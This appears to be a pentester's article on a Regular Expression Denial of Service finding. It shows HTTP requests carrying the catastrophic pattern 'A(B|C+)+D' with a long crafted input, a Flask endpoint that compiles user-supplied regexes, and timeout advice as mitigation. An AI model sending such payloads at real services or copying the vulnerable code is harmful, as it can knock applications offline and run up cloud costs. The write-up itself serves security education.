The Silent Threat of ReDoS: 2023 Real-Life Pentest Case

The Silent Threat of ReDoS: 2023 Real-Life Pentest Case

Author: Mateusz Lewczak


Regular Expression Denial of Service (ReDoS) is a type of vulnerability that arises when an attacker submits a specially crafted input to an application that utilizes regular expressions to validate or process user input. The attacker's input aims to activate a slow or inefficient regex pattern, leading the application to consume excessive resources, such as CPU time or memory. This can result in denial of service (DoS) or system slowdowns. ReDoS attacks are especially concerning because they can be launched with ease and have the potential to inflict considerable financial harm to the affected organization. This vulnerability can disrupt vital business operations or lead to extended downtime, culminating in revenue and productivity losses.

During a? pentest on a real application, I encountered this specific bug. In the examined feature, I could control both the Regex pattern and the content being searched. The HTTP request carrying both parameters was as follows:

POST /api/redos/vulnerable HTTP/1.1
Host: redos.vulnerable.local

{
  "input_parameters": [
    {
      "type": "STRING",
      "pattern": "/usr/share",
      "comment": "This parameter is filename",
      "default": "/etc",
      "name": "file_name"
    }
  ]
}        

Once the application verified the provided content against the patterns, it forwarded the data for additional processing:

HTTP/2 200 OK
Date: Mon, 15 May 2023 12:28:53 GMT
Content-Length: 20
Content-Type: application/json
Connection: closed

{"status":"success"}        

However, the match was unsuccessful, we would receive an error:

HTTP/2 200 OK
Date: Mon, 15 May 2023 12:28:59 GMT
Content-Length: 60
Content-Type: application/json
Connection: closed

{"status":"Incorrect default value for file_name parameter"}        

There are several vulnerable patterns that can lead to Denial of Service. However, I employed a straightforward yet highly effective one.

A(B|C+)+D        

In this pattern, the group "(B|C+)" matches either "B" or multiple instances of "C". The outermost quantifier "+" permits the group's repetition, meaning the group can nest within itself. Such nesting can result in an exponential rise in potential matches that the regex engine has to assess. Consequently, when the input has a significant number of "C" characters, the regex engine might get caught in a backtracking loop, trying to determine all "B" and "C" pattern combinations. This excessive evaluation can cause the system to overutilize its resources, leading to a DoS or system slowdown.

Understanding this, the next step was to transmit an HTTP request to initiate the attack:

POST /api/redos/vulnerable HTTP/1.1
Host: redos.vulnerable.local

{
  "input_parameters": [
    {
      "type": "STRING",
      "pattern": "A(B|C+)+D",
      "comment": "This parameter is filename",
      "default": "ACCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCX",
      "name": "file_name"
    }
  ]
}        

In this case the application would then search for the given pattern in a default field, causing server responses to become increasingly lengthy with each additional "C" character. The Intruder tool in Burp Suite, set in Character blocks mode, offers a visual representation of this phenomenon. Notably, after about fourteen "C" characters, the application's response time begins to surge significantly. By the twenty-sixth "C", it becomes unresponsive:

Today, when quite a lot of applications are hosted in the cloud not infrequently using Function as a Service (e.g. AWS Lambda) every millisecond of running function is charged. This poses a very high financial risk to the application and may even eventually lead to the actual blocking of access to the application.

The vulnerable code that implements the described function could look like the following:

@app.route("/api/redos/vulnerable", methods=["POST"])
def vulnerable_endpoint():
    data = request.get_json()
 
    for parameter in data["input_parameters"]:
        pattern = re.compile(parameter["pattern"])
        result = pattern.findall(parameter["default"])
        if not result:
            return jsonify({"status": f"Incorrect default value for {parameter['name']} parameter"})
 
    return jsonify({"status": "success"})        

From the above, the function interprets each parameter individually, compiles every pattern, and uses the findall function to detect all patterns in the designated default parameter.

When facing issues like ReDoS, companies may want to change parts of their system that attackers might misuse. However, changing everything isn't always the best or even an option. A good solution? Add a timeout feature. This stops any task that takes too long. Also, by breaking down big tasks into smaller parts, it's much easier to find and fix problems related to the RegEx pattern.

In our modern digital world, it's vital for businesses to take steps in cybersecurity. Make sure your company is prepared for this kind of attacks, keep your online info, your reputation, and your profits safe.


#CyberSecurity #PenetrationTesting #Vulnerability #WebSecurity #PentestChronicles


Tomek Turba

shad0w hunter @ sekurak.pl

1 年

Nice finding Mateusz Lewczak

要查看或添加评论,请登录

Securitum的更多文章

社区洞察

其他会员也浏览了